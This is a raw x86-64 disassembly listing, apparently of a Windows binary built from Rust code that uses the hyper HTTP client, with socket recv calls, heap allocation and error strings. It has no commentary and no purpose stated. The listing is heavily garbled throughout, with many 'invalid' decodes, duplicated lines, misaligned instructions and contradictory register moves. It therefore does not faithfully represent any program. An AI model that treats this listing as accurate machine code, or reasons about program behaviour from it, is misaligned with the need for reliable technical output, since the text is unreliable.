mov edx, dword [rdi + 8]
mov edx, dword [rdi + 8]
mov r8, qword [rdi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.KERNEL32.dll_HeapFree]
pop rbp
out 5, eax
add byte [rax - 0x73], cl
sub byte [rax - 0x75], r9b
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsi + 0x30]
invalid
invalid
push rsi
lea rcx, [rsi + 0x28]
mov rax, qword [rsi + 0x10]
mov rdx, qword [rsi + 0x18]
mov r8, qword [rsi + 0x20]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsi + 0x30]
mov rdx, qword [rsi + 0x38]
cmp byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x46], cl
add rsi, 0x48
cmp byte [rax - 0x75], cl
adc byte [rbx + rcx*4 + 0x46], cl
add rsi, 0x48
add esi, 0x48
mov rcx, rsi
mov ecx, esi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
mov rcx, qword [rsi + 0x58]
call fcn.1400a6150
mov rax, qword [rsi + 0x60]
lock dec qword [rax]
dec qword [rax]
jne 0x14010989e
mov rcx, qword [rsi + 0x60]
mov rdx, qword [rsi + 0x68]
call fcn.140069a20
cmp byte [rsi], 2
jae 0x1401098a3
jmp 0x1401098cb
movapd xmmword [rsp + 0xe60], xmm6
mov r13, r8
mov rdi, rdx
mov rbx, rcx
mov ebx, ecx
mov ebx, ecx
movzx eax, byte [rdx + 0xeb0]
test eax, eax
je 0x140109994
cmp eax, 3
jne case.default.0x140109989
add byte [rax], al
lea rsi, [rdi + 0x132]
lea rbp, [rdi + 0x70]
movzx eax, byte [rdi + 0x132]
add dword [rax], eax
add byte [rax - 0x73], cl
or eax, 0x1011da
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea r14, [rdi + 0x58]
lea rbp, [rdi + 0x70]
mov rax, qword [rdi + 0x50]
mov qword [rdi + 0xc0], rax
movups xmm0, xmmword [rdi + 0x40]
movups xmmword [rdi + 0xb0], xmm0
xchg dword [rax + 0xf000000], esi
adc byte [rdi], al
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movups xmmword [rdi + 0xa0], xmm3
add byte [rdi], cl
adc dword [rdi + 0x90], edx
add byte [rax], al
invalid
add byte [rdi], cl
adc dword [rdi + 0x90], edx
add byte [rax], al
invalid
movups xmmword [rdi + 0x80], xmm1
movups xmmword [rdi + 0x70], xmm0
mov qword [rdi + 0xc8], r14
lea rsi, [rdi + 0x132]
mov byte [rdi + 0x132], 0
add dword [rax], eax
add dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rax], al
mov byte [rdi + 0x133], 0
movups xmm0, xmmword [rbp]
add byte [rdi], cl
adc byte [rbp + 0x10], cl
movups xmm2, xmmword [rbp + 0x20]
movups xmm3, xmmword [rbp + 0x30]
movups xmmword [rdi + 0xd0], xmm0
movups xmmword [rdi + 0xe0], xmm1
movups xmmword [rdi + 0xf0], xmm2
add byte [rax], al
add byte [rdi], cl
adc dword [rdi + 0x100], ebx
movdqu xmm0, xmmword [rbp + 0x40]
movdqu xmmword [rdi + 0x110], xmm0
movdqu xmmword [rdi + 0x110], xmm0
mov rax, qword [rbp + 0x50]
mov qword [rdi + 0x120], rax
add dword [rax], eax
add byte [rcx + rcx*4 - 0x49], cl
sub byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 - 0x49], cl
sub byte [rcx], al
add byte [rax], al
mov rax, qword [r14]
cmp byte [rax + 0x60], 0
movzx eax, byte [rdi + 0xd0]
js case.0x140107976.22
add byte [rdi], cl
mov dh, 0x87
rol byte [rax], 1
add byte [rax], al
je 0x140109a88
test al, al
je 0x140109b53
cli
add byte [rax], al
invalid
cli
add byte [rax], al
add byte [rdi], cl
mov dh, 0xc0
add byte [rax], al
movzx eax, al
cmp eax, 1
je 0x140109b4a
cmp eax, 2
je 0x140109b53
lea rcx, str.internal_error:_entered_unreachable_code_rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_src_threadmod.rs
or eax, 0xd49f3
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.9_srcuri_scheme.rs
mov edx, 0x28
add byte [rax], al
call fcn.140160fb0
ud2
invalid
or eax, dword [rax + rax*8 + 0x122850f]
add byte [rax], al
movzx eax, byte [0x1402153f8]
mov dh, 5
invalid
mov ecx, 0x8b480010
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140109abc
test al, al
jne 0x140109bb2
mov dh, 5
invalid
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
xchg ebp, esp
add eax, 0xc0854800
je 0x14010b7dd
sbb eax, 0x89480000
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rax
mov qword [0x140215360], rax
add eax, 0x10b8a4
ror dword [rax - 0x77], 5
movsb byte [rdi], byte [rsi]
mov eax, 0x1ebe0010
add byte [rax], al
add byte [rax], al
invalid
invalid
invalid
add eax, 0x10b8a4
mov esi, 0x1e
mov r8d, 0x1e
add byte [rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
invalid
in eax, 5
invalid
test rax, rax
test eax, eax
ror byte [rdi], 0x84
add eax, 0xf00001d
sbb eax, 0x100f0000
add eax, 0xa216e
je 0x14010b7dd
sbb eax, 0x100f0000
add eax, 0xa216e
movups xmm0, xmmword [0x1401abc4d]
movups xmmword [rax + 0xe], xmm0
adc dword [rax + 0xe], eax
movups xmm0, xmmword [0x1401abc3f]
jmp 0x140109c6f
lea esp, [rdi + 0x138]
movzx eax, byte [rdi + 0xb28]
lea rcx, [0x14020ab84]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x87
jns 0x140109b1a
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x10104e
lea rcx, [0x14020ab70]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x48], rbp
mov r14, qword [rdi + 0x170]
mov r15, qword [rdi + 0x158]
mov rbp, qword [rdi + 0x160]
jmp 0x14010a0d0
cmp byte [rdi + 0xd1], 0
je 0x140109bb2
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140109b7f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
test eax, eax
je 0x14010b787
mov rcx, rax
mov qword [0x140215360], rax
mov esi, 0x1f
mov r8d, 0x1f
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x14010b787
movups xmm0, xmmword [0x1401abc2f]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.invalid_URL__scheme_is_not_httpinvalid_URL__scheme_is_missinginvalid_URL__host_is_missingConnectError]
jmp 0x140109c6f
invalid
add byte [rax], al
invalid
mov ebp, 0x48000000
mov edx, dword [rdi + 0xf0]
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x140109c15
mov rcx, qword [rdi + 0xe8]
call fcn.140083630
test rax, rax
je 0x140109c15
mov r12, rax
mov r15, rdx
mov r8, qword [rdi + 0xf0]
test r8, r8
je 0x140109d84
mov rdx, qword [rdi + 0xe8]
lea rcx, [rsp + 0x1c0]
call fcn.140082fe0
cmp qword [rsp + 0x1c0], 0
je 0x140109d84
movsd dword [rdi], dword [rsi]
add dword [rax], eax
add byte [rdi], cl
mov dh, 5
fdiv qword [rdi - 0x74b7fff0]
or eax, 0x10b73d
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140109c41
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
ror byte [rdi], 0x84
jnp 0x140109c50
add byte [rax], al
ror byte [rdi], 0x84
jnp 0x140109c50
add byte [rax], al
mov rcx, rax
mov qword [0x140215360], rax
mov esi, 0x1c
mov r8d, 0x1c
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
in al, 0xe3
add eax, 0xc0854800
je 0x14010b7b2
movups xmm0, xmmword [0x1401abc69]
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [0x1401abc5d]
movups xmmword [rax], xmm0
movq xmm6, rax
add byte [rsi + 0x48], ah
movd mm6, eax
movd xmm0, esi
punpcklqdq xmm6, xmm0
xor r15d, r15d
inc dword [rbp + 0x31]
invalid
inc dword [rbp + 0x31]
in al, 0x80
mov edi, 0xd0
add dh, byte [rdx + 0x2b]
cmp byte [rdi + 0xd0], 2
jb 0x140109cb9
mov r14, qword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov bh, 0xd8
add byte [rax], al
add byte [rcx - 0x73], cl
sbb byte [rcx - 0x75], r9b
invalid
mov r8, qword [r14 + 0x10]
mov eax, dword [rsi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
lock add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
invalid
sbb byte [rcx], al
add byte [rax], al
mov rax, qword [rdi + 0x100]
xchg dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
or byte [rcx], al
add byte [rax], al
mov r8, qword [rdi + 0x110]
adc byte [rcx], al
add byte [rax], al
lock add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
invalid
adc byte [rcx], al
add byte [rax], al
add dword [rax], eax
add bh, bh
push rax
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
call qword [rax + reloc.WS2_32.dll_recv]
mov byte [rdi + 0x132], 1
mov r13d, 2
add byte [rax], al
add byte [rax - 0x77], cl
jmp 0x1404721f3
mov rcx, rbp
call fcn.14010d390
mov rax, qword [rdi + 0x58]
lock dec qword [rax]
jne 0x140109d1f
invalid
mov rcx, qword [rdi + 0x58]
call fcn.1400a6150
mov rax, qword [rdi + 0x60]
mov eax, dword [rdi + 0x60]
lock dec qword [rax]
jne 0x140109d36
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
call fcn.140069a20
cmc
invalid
mov qword [rbx], r13
movupd xmmword [rbx + 8], xmm6
mov qword [rbx + 0x18], r15
mov qword [rbx + 0x20], r12
mov al, 1
jmp case.0x14010324d.254
mov qword [rsp + 0x48], rbp
mov r14, qword [rdi + 0x168]
mov r15, qword [rdi + 0x180]
mov rbp, qword [rdi + 0x188]
jmp 0x14010a0f3
mov qword [rsp + 0x38], rsi
mov r8, qword [rdi + 0x180]
mov rax, qword [rdi + 0x188]
jmp 0x14010a13b
lea rax, [rdi + 0xd0]
movzx eax, byte [rax]
mov cx, 0x50
test rax, rax
je 0x140109dba
add byte [rax], al
mov qword [rdi + 0x160], rbp
mov qword [rdi + 0x170], r14
lea r12, [rdi + 0x179]
mov byte [rdi + 0x179], 0
lea rax, [rdi + 0x168]
mov qword [rdi + 0x168], r14
mov qword [rdi + 0x180], r15
mov qword [rdi + 0x188], rbp
mov qword [rdi + 0x190], rax
mov qword [rsp + 0x38], rsi
mov byte [rdi + 0x178], 0
mov rax, qword [r14]
mov r9, qword [r14 + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov rdx, r15
mov r8, rbp
call qword [r9 + 0x18]
mov r8, rax
mov rax, rdx
mov qword [rdi + 0x180], r8
mov qword [rdi + 0x188], rdx
mov rbp, qword [rsp + 0x48]
lea rcx, [rsp + 0x1c0]
mov rdx, r8
mov r8, r13
call qword [rax + 0x18]
mov rsi, qword [rsp + 0x1c0]
cmp rsi, 2
jne 0x14010a16b
mov byte [r12], 4
mov al, 3
mov rsi, qword [rsp + 0x38]
jmp 0x14010b42b
mov qword [rsp + 0xe0], rbx
mov r15, qword [rsp + 0x1c8]
mov r12, qword [rsp + 0x1d0]
mov r14, qword [rdi + 0x180]
mov rbx, qword [rdi + 0x188]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14010a1ba
cmp qword [rbx + 0x10], 0x11
jb 0x14010a1a8
mov word [rdi + 0x178], 0x100
test rsi, rsi
je 0x14010a26b
je 0x14010aa64
mov rax, rdx
jmp 0x14010aa13
add r13, 0x20
cmp r13, rbx
je 0x14010aa64
movzx ecx, word [r13]
cmp cx, 2
invalid
je 0x14010aa64
add dh, byte [rsi + rax*2 - 0xd]
movq mm0, qword [r13 + 2]
movdqu xmm0, xmmword [r13 + 2]
movups xmm1, xmmword [r13 + 0x10]
movups xmmword [rsp + 0x1ce], xmm1
movdqa xmmword [rsp + 0x1c0], xmm0
test cx, cx
jne 0x14010aa0a
mov word [rax], 0
movaps xmm0, xmmword [rsp + 0x1c0]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rsp + 0x1ce]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x14010aa0a
mov ecx, 4
mov qword [rsp + 0x58], rcx
xor r9d, r9d
mov rbx, rax
mov ecx, dword [r11 + 0x38]
cmp ecx, 0x3b9aca00
jne 0x14010aa9b
mov ebp, 0x3b9aca00
jmp 0x14010abcf
mov r8, rbx
sub r8, rdx
shr r8, 5
test r8d, r8d
je 0x14010b85e
mov r13, r9
mov r10, rdx
mov rax, qword [r11 + 0x30]
mov r9d, r8d
mov rdx, rax
shr rdx, 0x20
je case.0x1400c929f.275
xor edx, edx
div r9
jmp 0x14010ab77
xor edx, edx
div r9d
int1
mov qword [rsp + 0x28], rax
imul rax, rdx, 0x3b9aca00
mov rdx, rax
shr rdx, 0x20
je 0x14010ab96
xor edx, edx
div r9
mov rbp, rax
jmp 0x14010ab9d
xor edx, edx
div r9d
mov ebp, eax
mov eax, ecx
xor edx, edx
rol byte [rcx - 9], cl
invalid
add ebp, eax
mov eax, ebp
shr eax, 9
or dword [rax + 0x69], ecx
invalid
or dword [rbx + 4], 0
shr rax, 0x27
add qword [rsp + 0x28], rax
jb 0x14010b878
mov r9, r13
imul eax, eax, 0x3b9aca00
sub ebp, eax
mov rdx, r10
mov r14d, 2
test r9, r9
mov r8, qword [rsp + 0x58]
je 0x14010abff
mov rcx, qword [0x140215360]
mov r13, rdx
xor edx, edx
mov r12, r11
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r11, r12
mov rdx, r13
jmp 0x14010adc3
invalid
jmp 0x14010adc0
mov rdx, rax
shr rdx, 0x20
je 0x14010ac26
xor edx, edx
div r8
mov rbp, rax
jmp 0x14010ac2d
xor edx, edx
div r8d
invalid
mov ebp, eax
invalid
mov qword [rsp + 0x148], r9
mov dword [rsp + 0xec], r11d
mov dword [rsp + 0xec], ebx
mov eax, r11d
xor edx, edx
div ecx
add ebp, eax
mov eax, ebp
shr eax, 9
or dword [rcx + rbp*2 - 0x10], ecx
or dword [rbx + 4], 0
shr r14, 0x27
add r10, r14
jb 0x14010b878
mov r12, r10
lea r9, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.27_srcclientconnecthttp.rs
lea rcx, [rsp + 0x1c0]
mov rdx, qword [rsp + 0x60]
mov r8d, dword [rsp + 0x28]
call fcn.14014e970
mov rax, qword [rsp + 0xd8]
test byte [rax + rbx*8], ah
add byte [rax], al
add byte [rbp - 0x317bf040], al
test dh, cl
or eax, dword [rax]
invalid
mov r8d, eax
test r13, r13
mov rcx, qword [rsp + 0x148]
add byte [rax], al
je 0x14010acb2
mov rax, qword [rsp + 0x118]
xor edx, edx
div r8
invalid
mov r10, rax
mov edx, eax
test byte [rax + rbx], ah
add dword [rax], eax
add byte [rcx], dh
ror byte [rcx - 9], cl
invalid
mov edx, eax
jmp 0x14010acc2
mov rax, qword [rsp + 0x118]
sbb byte [rcx], al
add byte [rax], al
xor edx, edx
div r8d
mov r10d, eax
mov r11, qword [rsp + 0x50]
push rax
imul rax, rdx, 0x3b9aca00
imul eax, edx, 0x3b9aca00
mov rdx, rax
shr rdx, 0x20
je 0x14010ace1
invalid
or dh, byte [rcx]
xor edx, edx
div r8
div eax
ror byte [rcx - 9], cl
invalid
div eax
mov r8, rax
jmp 0x14010ace9
xor edx, edx
div r8d
mov r8d, eax
rol byte [rcx - 9], cl
invalid
mov qword [rsp + 0x28], r12
mov eax, dword [rsp + 0xec]
xor edx, edx
sal bh, cl
mov ah, 0x24
fadd dword [rax]
add byte [rax], al
add r8d, eax
mov eax, r8d
mov eax, eax
mov eax, eax
shr eax, 9
imul rax, rax, 0x44b83
imul eax, eax, 0x44b83
imul eax, eax, 0x44b83
shr rax, 0x27
add r10, rax
jb 0x14010b8ea
invalid
iretd
or eax, dword [rax]
invalid
invalid
add byte [rcx + 0x69], al
invalid
imul edx, r14d, 0x3b9aca00
sub ebp, edx
imul eax, eax, 0x3b9aca00
invalid
cmp eax, dword [rcx + 0x29]
ror byte [rbp - 0x77], 0xc4
mov r9, qword [rsp + 0x58]
mov r8, qword [rsp + 0xd8]
and al, 0xd8
add byte [rax], al
invalid
invalid
and al, 0xd8
add byte [rax], al
add byte [rcx - 0x3f], cl
loopne 0x14010ad46
shl r8, 5
add r8, r9
mov r14, qword [rsp + 0x1c0]
mov ah, 0x24
rol byte [rcx], 0
add byte [rdi], cl
adc byte [rsp + 0x1c8], al
add byte [rax], al
movups xmm0, xmmword [rsp + 0x1c8]
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rsp + 0x1d8]
adc byte [rsp + 0x1d8], al
adc byte [rsp + 0x1d8], al
movaps xmmword [rsp + 0x80], xmm0
sub dword [rsp + 0x80], eax
and al, 0x80
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x1e8], al
movups xmm0, xmmword [rsp + 0x1e8]
movaps xmmword [rsp + 0x90], xmm0
and al, 0x90
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x1f8], al
movups xmm0, xmmword [rsp + 0x1f8]
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rsp + 0x208]
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
adc byte [rsp + 0x208], al
movaps xmmword [rsp + 0xb0], xmm0
movdqu xmm0, xmmword [rsp + 0x218]
movq mm0, qword [rsp + 0x218]
movq mm0, qword [rsp + 0x218]
movdqa xmmword [rsp + 0xc0], xmm0
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0xd0], rax
mov rdx, qword [rsp + 0x30]
and al, 0x30
mov r13, rdx
mov rsi, qword [rsp + 0x28]
mov esi, dword [rsp + 0x28]
add r11, 0x10
movaps xmm0, xmmword [rsp + 0x70]
movaps xmm1, xmmword [rsp + 0x80]
movaps xmm2, xmmword [rsp + 0x90]
movaps xmm3, xmmword [rsp + 0xa0]
and al, 0xa0
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x150], eax
movaps xmmword [rsp + 0x160], xmm1
movaps xmmword [rsp + 0x170], xmm2
movaps xmmword [rsp + 0x180], xmm3
movaps xmm0, xmmword [rsp + 0xb0]
movaps xmmword [rsp + 0x190], xmm0
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0xc0], al
invalid
add dword [rax], eax
add byte [rdi], cl
sub byte [rsp + 0xc0], al
invalid
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x1b0], rax
mov qword [r15], r14
movaps xmm0, xmmword [rsp + 0x150]
movaps xmm1, xmmword [rsp + 0x160]
movaps xmm2, xmmword [rsp + 0x170]
movaps xmm3, xmmword [rsp + 0x180]
movups xmmword [r15 + 8], xmm0
movups xmmword [r15 + 0x18], xmm1
movups xmmword [rdi + 0x18], xmm1
movups xmmword [rdi + 0x18], xmm1
movups xmmword [r15 + 0x28], xmm2
movups xmmword [r15 + 0x38], xmm3
movaps xmm0, xmmword [rsp + 0x190]
add byte [rax], al
add byte [rax], al
movups xmmword [r15 + 0x48], xmm0
movdqa xmm0, xmmword [rsp + 0x1a0]
movdqu xmmword [r15 + 0x58], xmm0
movq qword [rdi + 0x58], mm0
mov rax, qword [rsp + 0x1b0]
mov qword [r15 + 0x68], rax
mov qword [r15 + 0x70], r9
jo case.0x140105a85.32
mov dword [rdi + 0x78], ecx
jo case.0x140105a85.32
mov dword [rdi + 0x78], ecx
mov qword [r15 + 0x80], r9
mov qword [r15 + 0x88], r8
mov qword [r15 + 0x90], r10
add byte [rbp - 0x77], cl
xchg dword [rax + 0x4d000000], ecx
mov dword [rdi + 0x90], edx
mov dword [r15 + 0x98], r12d
mov qword [r15 + 0xa0], rdx
add byte [rax - 0x75], cl
and al, 0x40
add byte [rax - 0x75], cl
and al, 0x40
mov eax, dword [rsp + 0x40]
mov qword [r15 + 0xa8], rax
mov qword [r15 + 0xb0], r13
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
mov qword [r15 + 0xb8], rbx
mov qword [r15 + 0xc0], rsi
mov dword [r15 + 0xc8], ebp
scasd eax, dword [rdi]
enter 0, 0
add byte [rax], al
invalid
scasd eax, dword [rdi]
enter 0, 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp - 0x77], cl
lahf
rol byte [rax], 1
add byte [rax], al
invalid
mov qword [r15 + 0xd0], r11
lea rcx, [r15 + 0xd8]
lea rdx, [rsp + 0x1c0]
lea edx, [rsp + 0x1c0]
add byte [rax], al
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xc0
add dword [rax], eax
add byte [rcx - 0x48], al
sbb byte [rcx], cl
add byte [rax], al
invalid
lea edx, [rsp + 0x1c0]
mov r8d, 0x918
add al, ch
pop rdi
sbb al, 5
add eax, 0x87c64100
lock or dword [rax], eax
call sub.VCRUNTIME140.dll_memcpy
mov byte [r15 + 0x9f0], 0
add eax, 0x87c64100
lock or dword [rax], eax
add byte [rax], al
add r15, 0x9f1
or dword [rax], eax
add byte [rax - 0x73], cl
invalid
invalid
xchg esp, eax
and al, 0xd8
or al, byte [rax]
lea rdx, [rsp + 0xad8]
mov r8d, 0x387
mov eax, 0x387
add byte [rcx - 0x48], al
xchg dword [rbx], eax
add byte [rax], al
mov eax, 0x387
mov rcx, r15
mov ecx, edi
call sub.VCRUNTIME140.dll_memcpy
lea r12, [rdi + 0x138]
lea esp, [rdi + 0x138]
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
movzx eax, byte [rdi + 0xb28]
lea rcx, [0x14020ab84]
cld
str word [rax + 0x63]
add al, 0x81
cld
str word [rax + 0x63]
add al, 0x81
add rax, rcx
mov rbp, qword [rsp + 0x48]
mov r13, qword [rsp + 0x68]
insb byte [rdi], dx
and al, 0x68
mov rbx, qword [rsp + 0xe0]
mov rsi, qword [rsp + 0x38]
jmp rax
and al, 0xe0
add byte [rax], al
add byte [rax - 0x75], cl
je 0x14010af87
cmp bh, bh
loopne 0x14010af2d
invalid
mov byte [rdi + 0xb29], 0
lea rcx, [rdi + 0x210]
mov r8d, 0xd8
fadd dword [rax]
add byte [rax], al
sub dword [rbx], ecx
add byte [rax], al
add byte [rax - 0x73], cl
invalid
add byte [rax], al
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
cmp dword [rdi + 0x210], 2
adc byte [rdx], al
add byte [rax], al
invalid
adc byte [rdx], al
add byte [rax], al
add cl, byte [rdi]
add byte [rdx], al
jne 0x14010b0c0
test dword [rcx], esi
add dword [rax], eax
add byte [rax - 0x73], cl
xchg dword [rax + 0x48000002], esi
add byte [rax], al
mov rcx, qword [rdi + 0x2e0]
lea rax, [rdi + 0x2b0]
mov rcx, qword [rdi + 0x2e0]
mov qword [rdi + 0xb30], rax
mov dword [rdi + 0xb30], eax
mov qword [rdi + 0xb38], rcx
mov byte [rdi + 0xea8], 0
lea rdx, [rdi + 0xb30]
xchg edi, eax
xor byte [rbx], cl
add byte [rax], al
lea rcx, [rsp + 0x70]
mov r8, r13
call fcn.14010b940
add byte [rax], al
add byte [rax], al
mov r13, qword [rsp + 0x70]
cmp r13, 3
jne 0x14010b020
mov al, 3
jmp 0x14010b423
add byte [rax], al
add byte [rax], al
mov r15, qword [rdi + 0xb30]
test r15, r15
jne 0x14010b2c9
jmp 0x14010affa
mov r15, qword [rdi + 0xb30]
test r15, r15
jne 0x14010b19a
lea rcx, str.cannot_poll_Select_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.28_src_future_select.rs
add byte [rbp + rcx*4 + 5], cl
fcom st(2)
or al, 0
lea r8, [0x1401d82e0]
mov edx, 0x18
call fcn.140161290
ud2
mov r15, qword [rdi + 0xb60]
jmp 0x14010b406
movupd xmm6, xmmword [rsp + 0x78]
mov r15, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
cmp byte [rdi + 0xea8], 3
jne 0x14010b677
lea rcx, [rdi + 0x2e8]
mov r8d, 0xa0
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
lea rax, [rdi + 0x2b0]
mov rcx, qword [rdi + 0x2e0]
lea r15, [rdi + 0x388]
mov qword [rdi + 0x388], rax
mov qword [rdi + 0x390], rcx
mov byte [rdi + 0x700], 0
lea rax, [rdi + 0x358]
lea rdx, [rdi + 0x708]
mov qword [rdi + 0x708], rax
mov qword [rdi + 0x710], rcx
mov byte [rdi + 0xa80], 0
mov qword [rdi + 0xb40], rdx
lea rax, [rdi + 0xa88]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movups xmmword [rdi + 0xa88], xmm0
movups xmmword [rdi + 0xa98], xmm1
movups xmmword [rdi + 0xaa8], xmm2
movups xmmword [rdi + 0xab8], xmm3
movups xmm0, xmmword [r12 + 0x40]
movups xmmword [rdi + 0xac8], xmm0
movups xmm0, xmmword [r12 + 0x50]
movups xmmword [rdi + 0xad8], xmm0
movdqu xmm0, xmmword [r12 + 0x60]
movdqu xmmword [rdi + 0xae8], xmm0
mov qword [rdi + 0xb30], r15
mov qword [rdi + 0xb38], rax
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
mov eax, ebp
call fcn.14010b940
mov rax, qword [rsp + 0x70]
cmp rax, 3
jne 0x14010b1d3
mov rcx, qword [rdi + 0xb38]
mov rdx, r13
call fcn.14014e0a0
test al, al
je 0x14010b282
mov r8, r13
mov rcx, qword [rsp + 0x78]
movups xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xf0], xmm0
mov rdx, qword [rsp + 0x90]
mov qword [rsp + 0x100], rdx
mov rdx, qword [rdi + 0xb38]
mov qword [rdi + 0xaf8], rax
mov qword [rdi + 0xb00], rcx
movaps xmm0, xmmword [rsp + 0xf0]
movups xmmword [rdi + 0xb08], xmm0
mov rax, qword [rsp + 0x100]
mov qword [rdi + 0xb18], rax
mov qword [rdi + 0xb20], rdx
mov rax, qword [rdi + 0xb18]
mov qword [rsp + 0x140], rax
mov rax, qword [rdi + 0xaf8]
mov rcx, qword [rdi + 0xb00]
movups xmm0, xmmword [rdi + 0xb08]
movaps xmmword [rsp + 0x130], xmm0
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], rcx
mov r15, qword [rdi + 0xb40]
mov eax, 1
jmp fcn.14010b39f
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
call fcn.14010b940
cmp dword [rsp + 0x70], 3
jne 0x14010b302
mov rdx, qword [rdi + 0xb38]
lea rcx, [rsp + 0x70]
mov r8, r13
call fcn.14010b940
cmp dword [rsp + 0x70], 3
jne 0x14010b33a
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x110], rax
movups xmm0, xmmword [rsp + 0x70]
movups xmm1, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0x100], xmm1
movaps xmmword [rsp + 0xf0], xmm0
mov r15, qword [rdi + 0xb38]
xor eax, eax
jmp fcn.14010b36c
lea rcx, [rsp + 0x70]
mov rdx, r15
mov r8, r13
call fcn.14010b940
mov r13, qword [rsp + 0x70]
cmp r13, 3
jne 0x14010b45b
mov al, 6
mov byte [rdi + 0xb28], al
mov al, 4
mov byte [rsi], al
mov qword [rbx], 3
mov al, 3
mov byte [rdi + 0xeb0], al
mov rax, rbx
movaps xmm6, xmmword [rsp + 0xe60]
add rsp, 0xe78
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movupd xmm6, xmmword [rsp + 0x78]
mov r15, qword [rsp + 0x88]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x30], rax
cmp byte [rdi + 0xb29], 0
je 0x14010b513
or rax, qword [rax]
add byte [rbp - 0x7b], cl
div byte [rbx + rbx*2 + 0x48]
mov esi, dword [rdi + 0xb50]
mov rcx, r14
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14010b513
cmp qword [rsi + 0x10], 0x11
jb case.0x1400e4103.214
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
adc byte [rax], al
xor edx, edx
mov r8, r14
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14010b513
invalid
and al, 0x30
jmp 0x14010b513
lea ecx, [rdi + 0xb30]
call fcn.140100e40
